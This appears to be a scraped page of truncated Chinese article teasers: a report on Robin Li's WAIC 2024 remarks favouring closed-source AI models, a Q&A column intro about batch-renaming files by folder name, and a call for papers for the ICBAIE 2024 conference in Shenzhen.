在 2024 年世界人工智能大会&#xff08;WAIC 2024&#xff09;上&#xff0c;百度创始人、董事长兼首席执行官李彦宏发表对开源模型的评价。 李彦宏认为&#xff1a;开源模型实际上是一种智商税&#xff0c;而闭源模型才是人工智能&#xff08;AI&#xff09;行业的未来。 马…

如何批量更改很多个文件夹里的文件名中包含文件夹名?

&#x1f3c6;本文收录于《CSDN问答解惑-专业版》专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收…

【学术会议征稿】第五届大数据、人工智能与物联网工程国际会议

第五届大数据、人工智能与物联网工程国际会议 2024 5th International Conference on Big Data, Artificial Intelligence and Internet of Things 第五届大数据、人工智能与物联网工程国际会议&#xff08;ICBAIE 2024&#xff09;定于2024年10月25-27号在中国深圳隆重举行。…